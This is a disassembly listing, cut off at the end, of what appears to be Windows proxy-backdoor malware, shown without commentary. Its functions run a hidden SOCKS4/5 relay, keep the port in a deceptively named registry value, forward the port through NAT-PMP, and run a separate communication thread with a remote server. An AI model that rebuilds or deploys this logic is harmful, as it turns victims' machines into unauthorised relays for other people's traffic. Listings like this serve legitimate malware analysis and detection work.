loc_403E14: ; CODE XREF: sub_403C3F+1F8j
call sub_403B7E
mov edi, eax
test edi, edi
jz short loc_403E39
mov edx, [ebp+var_2C]
mov [edx], edi
mov eax, [ebp+var_2C]
add eax, 4
mov [ebp+var_2C], eax
inc [ebp+var_28]
cmp [ebp+var_28], 3FFFh
jl short loc_403E14
loc_403E39: ; CODE XREF: sub_403C3F+1DEj
mov eax, [ebp+var_28]
add eax, eax
add eax, eax
push eax
push [ebp+var_30]
push 100h
push esi
call sub_401B8F
add esp, 10h
test eax, eax
jnz short loc_403E6F
push [ebp+var_30]
call sub_401076
pop ecx
push offset sub_40EBB5
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403E6F: ; CODE XREF: sub_403C3F+215j
push [ebp+var_30]
call sub_401076
pop ecx
push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
call nullsub_2
pop ecx
push esi
call sub_401F51
pop ecx
mov [ebp+var_8], eax
test eax, eax
jz short loc_403EA1
push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403EA1: ; CODE XREF: sub_403C3F+1AFj
; sub_403C3F+250j ...
push 0FFFFh
push 0
lea eax, [ebp+var_2]
push eax
push esi
call sub_401D5B
add esp, 10h
mov ebx, eax
test ebx, ebx
jl loc_403FB9
movzx eax, [ebp+var_2]
mov [ebp+var_28], eax
cmp eax, 200h
jz short loc_403EE0
cmp eax, 201h
jz short loc_403F21
cmp eax, 202h
jz short loc_403EF0
jmp loc_403FB4
; ---------------------------------------------------------------------------
loc_403EE0: ; CODE XREF: sub_403C3F+28Cj
push offset word_40EB76
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403EF0: ; CODE XREF: sub_403C3F+29Aj
push offset byte_40EB69
call nullsub_2
pop ecx
push [ebp+var_C]
push ebx
push dword ptr [esi+470h]
call sub_403B86
add esp, 0Ch
test eax, eax
jz loc_403FB4
mov [ebp+var_C], 1
jmp loc_403FB4
; ---------------------------------------------------------------------------
loc_403F21: ; CODE XREF: sub_403C3F+293j
test ebx, ebx
jnz short loc_403F2E
mov edx, [esi+470h]
mov byte ptr [edx], 0
loc_403F2E: ; CODE XREF: sub_403C3F+2E4j
push dword ptr [esi+470h]
push offset sub_40EB56
call nullsub_2
pop ecx
pop ecx
test ebx, ebx
jz short loc_403FB4
push dword ptr [esi+470h]
call sub_407710
pop ecx
test eax, eax
jz short loc_403FB4
push 0
push offset dword_411014
call dword_411D2C
test eax, eax
jnz short loc_403FB4
push 1
push offset dword_411014
call dword_411D04
push 10000h
call sub_401048
pop ecx
mov [ebp+var_2C], eax
push dword ptr [esi+470h]
push [ebp+var_2C]
call sub_407730
pop ecx
pop ecx
push offset sub_40EB3C
call nullsub_2
pop ecx
push [ebp+var_2C]
push 0
push offset sub_40399A
call sub_4079D0
add esp, 0Ch
push eax
call dword_411CF8
loc_403FB4: ; CODE XREF: sub_403C3F+29Cj
; sub_403C3F+2D0j ...
jmp loc_403EA1
; ---------------------------------------------------------------------------
loc_403FB9: ; CODE XREF: sub_403C3F:loc_403C87j
; sub_403C3F+E6j ...
test esi, esi
jz short loc_403FC4
push esi
call sub_401A3B
pop ecx
loc_403FC4: ; CODE XREF: sub_403C3F+37Cj
cmp [ebp+var_10], 0
jz short loc_403FD3
push [ebp+var_10]
call sub_4014C2
pop ecx
loc_403FD3: ; CODE XREF: sub_403C3F+389j
push offset aSrvcommthreadD ; "SrvCommThread: done\n"
call nullsub_2
pop ecx
call sub_407A60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403C3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403FEA proc near ; CODE XREF: sub_403FEA+21j
; DATA XREF: sub_404967+26Bo ...
call sub_403658
test eax, eax
jz short loc_404000
call sub_40512B
push 0
call dword_411D30
loc_404000: ; CODE XREF: sub_403FEA+7j
push 3E8h
call dword_411D00
jmp short sub_403FEA
sub_403FEA endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40400E proc near ; DATA XREF: sub_404967+248o
; DMN1:00446ED0o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
and [ebp+var_4], 0
loc_404019: ; CODE XREF: sub_40400E+A4j
push 0
push 0
push offset sub_403C3F
call sub_4079D0
add esp, 0Ch
mov esi, eax
push 0FFFFFFFFh
mov eax, esi
push eax
call dword_411D34
mov eax, esi
push eax
call dword_411CF8
cmp dword_411030, 0
jz short loc_4040B7
lea eax, [ebp+var_4]
push eax
call sub_401001
pop ecx
mov ecx, 3Ch
cdq
idiv ecx
lea eax, [edx+6EAh]
mov edi, eax
push edi
push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
call nullsub_2
pop ecx
pop ecx
mov ebx, edi
jmp short loc_40409A
; ---------------------------------------------------------------------------
loc_404074: ; CODE XREF: sub_40400E+8Ej
push ebx
push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b."
call nullsub_2
pop ecx
pop ecx
push 7D0h
call dword_411D00
sub ebx, 2
call sub_403658
test eax, eax
jz short loc_40409A
xor ebx, ebx
loc_40409A: ; CODE XREF: sub_40400E+64j
; sub_40400E+88j
test ebx, ebx
jg short loc_404074
push offset asc_40EADA ; "\r \r"
call nullsub_2
pop ecx
cmp dword_411030, 0
jz short loc_4040B7
jmp loc_404019
; ---------------------------------------------------------------------------
loc_4040B7: ; CODE XREF: sub_40400E+39j
; sub_40400E+A2j
call sub_407A60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40400E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040C3 proc near ; CODE XREF: sub_4067B0+3DFp
; sub_4067B0+488p ...
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 44h
mov [ebp+var_44], 3Fh
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_40]
push eax
call dword_411E40
test eax, eax
jz short loc_40410A
cmp [ebp+var_44], 6
jnb short loc_4040EC
xor eax, eax
jmp short loc_40410A
; ---------------------------------------------------------------------------
loc_4040EC: ; CODE XREF: sub_4040C3+23j
mov [ebp+var_1], 0
lea eax, [ebp+var_40]
push eax
push offset aSystem ; "SYSTEM"
call dword_411D38
test eax, eax
jz short loc_404107
xor eax, eax
jmp short loc_40410A
; ---------------------------------------------------------------------------
loc_404107: ; CODE XREF: sub_4040C3+3Ej
xor eax, eax
inc eax
loc_40410A: ; CODE XREF: sub_4040C3+1Dj
; sub_4040C3+27j ...
mov esp, ebp
pop ebp
retn
sub_4040C3 endp
; =============== S U B R O U T I N E =======================================
sub_40410E proc near ; CODE XREF: sub_405B88+1p
; sub_405CA2:loc_405D18p ...
push ebx
cmp dword_411028, 0
jz short loc_40411C
xor eax, eax
jmp short loc_404160
; ---------------------------------------------------------------------------
loc_40411C: ; CODE XREF: sub_40410E+8j
xor ebx, ebx
push offset a_win32__wnss_u ; "_win32__wnss_um__"
push 0
push 0
call dword_411D08
mov dword_411028, eax
cmp dword_411028, 0
jz short loc_40415E
call dword_411CE8
cmp eax, 0B7h
jnz short loc_40415E
xor ebx, ebx
inc ebx
push dword_411028
call dword_411CF8
and dword_411028, 0
loc_40415E: ; CODE XREF: sub_40410E+2Bj
; sub_40410E+38j
mov eax, ebx
loc_404160: ; CODE XREF: sub_40410E+Cj
pop ebx
retn
sub_40410E endp
; =============== S U B R O U T I N E =======================================
sub_404162 proc near ; CODE XREF: sub_405B88+3Dp
; sub_405CA2+5Ap ...
cmp dword_411028, 0
jz short locret_40417E
push dword_411028
call dword_411CF8
and dword_411028, 0
locret_40417E: ; CODE XREF: sub_404162+7j
retn
sub_404162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40417F proc near ; CODE XREF: sub_4041FB+2Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 0
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov ax, [ebp+arg_C]
mov [ebx], ax
add ebx, 2
mov eax, [ebp+arg_8]
mov [ebx], eax
push 8
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_401787
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_40417F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041B9 proc near ; CODE XREF: sub_4041FB+47p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 5
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov byte ptr [ebx], 0
inc ebx
mov byte ptr [ebx], 1
inc ebx
mov eax, [ebp+arg_8]
mov [ebx], eax
add ebx, 4
mov ax, [ebp+arg_C]
mov [ebx], ax
push 0Ah
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_401787
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_4041B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041FB proc near ; CODE XREF: sub_4042CD+1F8p
; sub_4042CD+3B4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
push ebx
mov bl, [ebp+arg_8]
cmp bl, 9
jbe short loc_40420B
xor bl, bl
inc bl
loc_40420B: ; CODE XREF: sub_4041FB+Aj
cmp [ebp+arg_0], 4
jnz short loc_404233
movzx eax, bl
mov bl, byte_411034[eax]
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_40417F
add esp, 10h
jmp short loc_40424A
; ---------------------------------------------------------------------------
loc_404233: ; CODE XREF: sub_4041FB+14j
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_4041B9
add esp, 10h
loc_40424A: ; CODE XREF: sub_4041FB+36j
pop ebx
pop ebp
retn
sub_4041FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40424D proc near ; CODE XREF: sub_4042CD+182p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+arg_0]
loc_404255: ; CODE XREF: sub_40424D+23j
push 1
lea eax, [ebp+var_1]
push eax
push ebx
call sub_4016DC
add esp, 0Ch
test eax, eax
jg short loc_40426C
xor eax, eax
jmp short loc_404275
; ---------------------------------------------------------------------------
loc_40426C: ; CODE XREF: sub_40424D+19j
cmp [ebp+var_1], 0
jnz short loc_404255
xor eax, eax
inc eax
loc_404275: ; CODE XREF: sub_40424D+1Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_40424D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40427A proc near ; CODE XREF: sub_4042CD+1B9p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
xor edi, edi
mov byte ptr [ebx], 0
loc_40428C: ; CODE XREF: sub_40427A+47j
push 1
lea eax, [ebp+var_1]
push eax
push [ebp+arg_0]
call sub_4016DC
add esp, 0Ch
test eax, eax
jg short loc_4042A5
xor eax, eax
jmp short loc_4042C6
; ---------------------------------------------------------------------------
loc_4042A5: ; CODE XREF: sub_40427A+25j
mov eax, edi
inc edi
mov dl, [ebp+var_1]
mov [ebx+eax], dl
mov byte ptr [ebx+edi], 0
lea eax, [esi-1]
cmp edi, eax
jl short loc_4042BD
xor eax, eax
jmp short loc_4042C6
; ---------------------------------------------------------------------------
loc_4042BD: ; CODE XREF: sub_40427A+3Dj
cmp [ebp+var_1], 0
jnz short loc_40428C
xor eax, eax
inc eax
loc_4042C6: ; CODE XREF: sub_40427A+29j
; sub_40427A+41j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40427A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4042CD proc near ; DATA XREF: sub_404967+2D3o
; DMN1:00446F5Bo
var_430 = dword ptr -430h
var_42B = byte ptr -42Bh
var_42A = byte ptr -42Ah
var_429 = byte ptr -429h
var_428 = dword ptr -428h
var_421 = byte ptr -421h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_411 = byte ptr -411h
var_410 = dword ptr -410h
var_40A = word ptr -40Ah
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 430h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_41C], eax
mov edi, [eax+8]
mov eax, [ebp+var_41C]
mov edx, [eax]
mov [ebp+var_410], edx
mov dx, [eax+4]
mov [ebp+var_40A], dx
push eax
call sub_401076
pop ecx
and [ebp+var_4], 0
mov eax, [ebp+var_410]
mov [ebp+var_420], eax
push eax
call sub_406DE0
mov [ebp+var_418], eax
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectionFrom ; "connection from [%s]\n"
call sub_407320
add esp, 0Ch
mov [ebp+var_411], 0
mov [ebp+var_421], 0
push 1
lea eax, [ebp+var_411]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push offset dword_41285C
call dword_411CCC
push 0
push [ebp+var_410]
push dword_412934
call sub_401FE3
add esp, 0Ch
mov [ebp+var_428], eax
push offset dword_41285C
call dword_411CD0
cmp [ebp+var_428], 0
jnz short loc_4043B6
push [ebp+var_418]
push offset aConnectionReje ; "connection rejected (from [%s])\n"
call nullsub_1
pop ecx
pop ecx
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4043B6: ; CODE XREF: sub_4042CD+D0j
mov [ebp+var_40A], 0
and [ebp+var_410], 0
mov al, [ebp+var_411]
cmp al, 4
jz short loc_4043D8
cmp al, 5
jnz loc_40493A
loc_4043D8: ; CODE XREF: sub_4042CD+101j
push [ebp+var_418]
movsx eax, [ebp+var_411]
push eax
push offset aSocksVIS ; "socks v%i [%s]\n"
call nullsub_1
add esp, 0Ch
cmp [ebp+var_411], 4
jnz loc_4044D2
push 1
lea eax, [ebp+var_421]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push 2
lea eax, [ebp+var_40A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push 4
lea eax, [ebp+var_410]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push edi
call sub_40424D
pop ecx
test eax, eax
jz loc_40493A
mov eax, [ebp+var_410]
test eax, 0FFFFFFh
jnz loc_4046BE
test eax, 0FF000000h
jz loc_4046BE
push 400h
lea eax, [ebp+var_408]
push eax
push edi
call sub_40427A
add esp, 0Ch
test eax, eax
jz loc_40493A
lea eax, [ebp+var_408]
push eax
call sub_4017BE
pop ecx
mov [ebp+var_410], eax
test eax, eax
jz short loc_4044BC
cmp eax, 0FFFFFFFFh
jz short loc_4044BC
test eax, eax
jnz loc_4046BE
loc_4044BC: ; CODE XREF: sub_4042CD+1DEj
; sub_4042CD+1E5j
push 0
push 0
push 4
push edi
push 4
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4044D2: ; CODE XREF: sub_4042CD+12Dj
cmp [ebp+var_411], 5
jnz loc_40493A
mov [ebp+var_429], 0
push 1
lea eax, [ebp+var_429]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jg short loc_404522
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_404501: ; CODE XREF: sub_4042CD+25Cj
push 1
lea eax, [ebp+var_42A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
sub [ebp+var_429], 1
loc_404522: ; CODE XREF: sub_4042CD+22Dj
cmp [ebp+var_429], 0
jnz short loc_404501
mov [ebp+var_430], 5
push 2
lea eax, [ebp+var_430]
push eax
push edi
call sub_401787
add esp, 0Ch
test eax, eax
jle loc_40493A
push 1
lea eax, [ebp+var_42A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
cmp [ebp+var_42A], 5
jnz loc_40493A
push 1
lea eax, [ebp+var_421]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push 1
lea eax, [ebp+var_42A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
mov [ebp+var_42B], 0
push 1
lea eax, [ebp+var_42B]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
cmp [ebp+var_42B], 1
jnz short loc_4045F3
push 4
lea eax, [ebp+var_410]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jg loc_4046A4
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4045F3: ; CODE XREF: sub_4042CD+305j
cmp [ebp+var_42B], 3
jnz loc_40468E
push 1
lea eax, [ebp+var_429]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
cmp [ebp+var_429], 0
jz loc_40493A
movsx eax, [ebp+var_429]
push eax
lea eax, [ebp+var_408]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
movsx eax, [ebp+var_429]
mov [ebp+eax+var_408], 0
lea eax, [ebp+var_408]
push eax
call sub_4017BE
pop ecx
mov [ebp+var_410], eax
test eax, eax
jz short loc_404678
cmp eax, 0FFFFFFFFh
jz short loc_404678
test eax, eax
jnz short loc_4046A4
loc_404678: ; CODE XREF: sub_4042CD+39Ej
; sub_4042CD+3A5j
push 0
push 0
push 4
push edi
push 5
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_40468E: ; CODE XREF: sub_4042CD+32Dj
push 0
push 0
push 8
push edi
push 5
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4046A4: ; CODE XREF: sub_4042CD+31Bj
; sub_4042CD+3A9j
push 2
lea eax, [ebp+var_40A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
loc_4046BE: ; CODE XREF: sub_4042CD+19Bj
; sub_4042CD+1A6j ...
movzx eax, [ebp+var_40A]
push eax
call sub_406D98
mov [ebp+var_40A], ax
test ax, ax
jnz short loc_4046F3
push 0
push 0
push 2
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4046F3: ; CODE XREF: sub_4042CD+408j
cmp [ebp+var_421], 1
jz short loc_404722
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push 7
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_404722: ; CODE XREF: sub_4042CD+42Dj
call sub_401359
mov [ebp+var_4], eax
test eax, eax
jnz short loc_40474A
push 0
push 0
push 1
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_40474A: ; CODE XREF: sub_4042CD+45Fj
mov eax, [ebp+var_410]
mov [ebp+var_420], eax
push eax
call sub_406DE0
mov [ebp+var_418], eax
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectingToSI ; "connecting to %s:%i\n"
call nullsub_1
add esp, 0Ch
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push [ebp+var_4]
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_4047E1
call sub_406DF2
push eax
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n"
call nullsub_1
add esp, 10h
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push 4
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_4042CD+4CBj
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectedToSI ; "connected to %s:%i\n"
call nullsub_1
add esp, 0Ch
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push 0
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
test eax, eax
jz loc_40493A
push offset aTransferringDa ; "transferring data...\n"
call nullsub_1
pop ecx
xor esi, esi
loc_404832: ; CODE XREF: sub_4042CD+64Cj
; sub_4042CD+65Dj
inc esi
push edi
call sub_4014CF
pop ecx
test eax, eax
jl loc_40492F
push edi
call sub_401542
pop ecx
mov ebx, eax
test ebx, ebx
jl loc_40492F
cmp esi, 1Eh
jle short loc_40485F
test ebx, ebx
jnz short loc_40485F
xor ebx, ebx
inc ebx
loc_40485F: ; CODE XREF: sub_4042CD+589j
; sub_4042CD+58Dj
test ebx, ebx
jle short loc_4048AB
cmp ebx, 400h
jle short loc_404870
mov ebx, 400h
loc_404870: ; CODE XREF: sub_4042CD+59Cj
push ebx
lea eax, [ebp+var_408]
push eax
push edi
call sub_4016DC
add esp, 0Ch
mov [ebp+var_8], eax
test eax, eax
jle loc_40492F
push [ebp+var_8]
lea eax, [ebp+var_408]
push eax
push [ebp+var_4]
call sub_401787
add esp, 0Ch
test eax, eax
jle loc_40493A
xor esi, esi
loc_4048AB: ; CODE XREF: sub_4042CD+594j
push [ebp+var_4]
call sub_4014CF
pop ecx
test eax, eax
jl short loc_40492F
push [ebp+var_4]
call sub_401542
pop ecx
mov ebx, eax
test ebx, ebx
jl short loc_40492F
cmp esi, 1Eh
jle short loc_4048D3
test ebx, ebx
jnz short loc_4048D3
xor ebx, ebx
inc ebx
loc_4048D3: ; CODE XREF: sub_4042CD+5FDj
; sub_4042CD+601j
test ebx, ebx
jle short loc_404917
cmp ebx, 400h
jle short loc_4048E4
mov ebx, 400h
loc_4048E4: ; CODE XREF: sub_4042CD+610j
push ebx
lea eax, [ebp+var_408]
push eax
push [ebp+var_4]
call sub_4016DC
add esp, 0Ch
mov [ebp+var_8], eax
test eax, eax
jle short loc_40492F
push [ebp+var_8]
lea eax, [ebp+var_408]
push eax
push edi
call sub_401787
add esp, 0Ch
test eax, eax
jle short loc_40493A
xor esi, esi
loc_404917: ; CODE XREF: sub_4042CD+608j
test esi, esi
jz loc_404832
push 12Ch
call dword_411D00
jmp loc_404832
; ---------------------------------------------------------------------------
loc_40492F: ; CODE XREF: sub_4042CD+56Fj
; sub_4042CD+580j ...
push offset aDataExchangeCo ; "data exchange complete\n"
call nullsub_1
pop ecx
loc_40493A: ; CODE XREF: sub_4042CD+91j
; sub_4042CD+E4j ...
push offset aConnectionClos ; "connection closed.\n"
call nullsub_1
pop ecx
push edi
call sub_4014C2
pop ecx
cmp [ebp+var_4], 0
jz short loc_40495B
push [ebp+var_4]
call sub_4014C2
pop ecx
loc_40495B: ; CODE XREF: sub_4042CD+683j
call sub_407A60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4042CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404967 proc near ; DATA XREF: sub_406736+62o
; DMN1:00448AB9o
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = word ptr -6
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
xor ebx, ebx
and [ebp+var_4], 0
and dword_41100C, 0
mov eax, dword_41100C
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call dword_411E24
test eax, eax
jnz short loc_4049DF
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_24]
push eax
push 0
push offset aInternalprogra ; "InternalProgramData"
push [ebp+var_C]
call dword_411E44
test eax, eax
jnz short loc_4049D6
mov eax, [ebp+var_10]
mov dword_41100C, eax
loc_4049D6: ; CODE XREF: sub_404967+65j
push [ebp+var_C]
call dword_411E2C
loc_4049DF: ; CODE XREF: sub_404967+45j
push offset aListener___ ; "listener...\n"
call nullsub_1
pop ecx
lea eax, [ebp+var_1A]
push eax
call sub_4024A6
pop ecx
mov [ebp+var_6], ax
test ax, ax
jz short loc_404A21
cmp ax, 0FFFFh
jz short loc_404A21
movzx eax, [ebp+var_6]
cmp dword_411010, eax
jz short loc_404A21
movzx eax, [ebp+var_6]
mov dword_411010, eax
movzx eax, [ebp+var_1A]
mov dword_41100C, eax
loc_404A21: ; CODE XREF: sub_404967+94j
; sub_404967+9Aj ...
call sub_401359
mov dword_411030, eax
loc_404A2B: ; CODE XREF: sub_404967+140j
cmp dword_41100C, 0
jnz short loc_404A67
loc_404A34: ; CODE XREF: sub_404967+F4j
; sub_404967+FBj
lea eax, [ebp+var_4]
push eax
call sub_401001
pop ecx
mov ecx, 9C40h
cdq
idiv ecx
lea eax, [edx+4E20h]
mov dword_41100C, eax
mov eax, dword_41100C
cmp eax, 24EAh
jz short loc_404A34
cmp eax, 0BB8h
jz short loc_404A34
xor ebx, ebx
inc ebx
loc_404A67: ; CODE XREF: sub_404967+CBj
movzx eax, word ptr dword_41100C
push eax
push 0
push dword_411030
call sub_4015B7
add esp, 0Ch
test eax, eax
jnz short loc_404AA9
and dword_41100C, 0
and dword_411010, 0
push dword_411030
call sub_4014C2
pop ecx
call sub_401359
mov dword_411030, eax
jmp short loc_404A2B
; ---------------------------------------------------------------------------
loc_404AA9: ; CODE XREF: sub_404967+11Aj
push dword_41100C
push offset aSocksPortI ; "SOCKS port: %i\n"
call sub_407320
pop ecx
pop ecx
mov eax, dword_41100C
mov dword_411010, eax
call sub_403113
mov [ebp+var_14], eax
movzx eax, word ptr dword_411010
push eax
movzx eax, word ptr dword_41100C
push eax
push [ebp+var_14]
call sub_403322
add esp, 0Ch
movzx eax, ax
mov dword_411010, eax
cmp dword_411010, 0
jnz short loc_404B05
mov eax, dword_41100C
mov dword_411010, eax
jmp short loc_404B17
; ---------------------------------------------------------------------------
loc_404B05: ; CODE XREF: sub_404967+190j
push dword_411010
push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n"
call sub_407320
pop ecx
pop ecx
loc_404B17: ; CODE XREF: sub_404967+19Cj
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_402B02
pop ecx
pop ecx
test eax, eax
jz short loc_404B30
mov eax, dword_41100C
loc_404B30: ; CODE XREF: sub_404967+1C2j
test ebx, ebx
jz short loc_404B86
mov eax, dword_41100C
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call dword_411E24
test eax, eax
jnz short loc_404B86
push 4
lea eax, [ebp+var_10]
push eax
push 4
push 0
push offset aInternalprogra ; "InternalProgramData"
push [ebp+var_C]
call dword_411E28
push [ebp+var_C]
call dword_411E2C
loc_404B86: ; CODE XREF: sub_404967+1CBj
; sub_404967+1FCj
push 1
push offset dword_411024
call dword_411D04
push 1
push offset dword_41102C
call dword_411D04
push offset aStartingCommTh ; "starting COMM thread...\n"
call nullsub_1
pop ecx
push 0
push 0
push offset sub_40400E
call sub_4079D0
add esp, 0Ch
push eax
call dword_411CF8
push 0C8h
call dword_411D00
push 0
push 0
push offset sub_403FEA
call sub_4079D0
add esp, 0Ch
push eax
call dword_411CF8
push 0C8h
call dword_411D00
loc_404BF1: ; CODE XREF: sub_404967+2B4j
; sub_404967+2E7j
push dword_411030
call sub_401607
pop ecx
test eax, eax
jz short loc_404C50
lea eax, [ebp+var_2A]
push eax
lea eax, [ebp+var_28]
push eax
push dword_411030
call sub_40166C
add esp, 0Ch
mov edi, eax
test edi, edi
jz short loc_404BF1
push 0Ch
call sub_401048
pop ecx
mov esi, eax
mov eax, [ebp+var_28]
mov [esi], eax
mov ax, [ebp+var_2A]
mov [esi+4], ax
mov [esi+8], edi
push esi
push 0
push offset sub_4042CD
call sub_4079D0
add esp, 0Ch
push eax
call dword_411CF8
jmp short loc_404BF1
; ---------------------------------------------------------------------------
loc_404C50: ; CODE XREF: sub_404967+298j
push 0
push offset dword_41102C
call dword_411D04
push dword_411030
call sub_4014C2
pop ecx
and dword_411030, 0
call sub_407A60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404967 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
mov ebx, [ebp+10h]
push 44h
push 0
lea eax, [ebp-44h]
push eax
call sub_407690
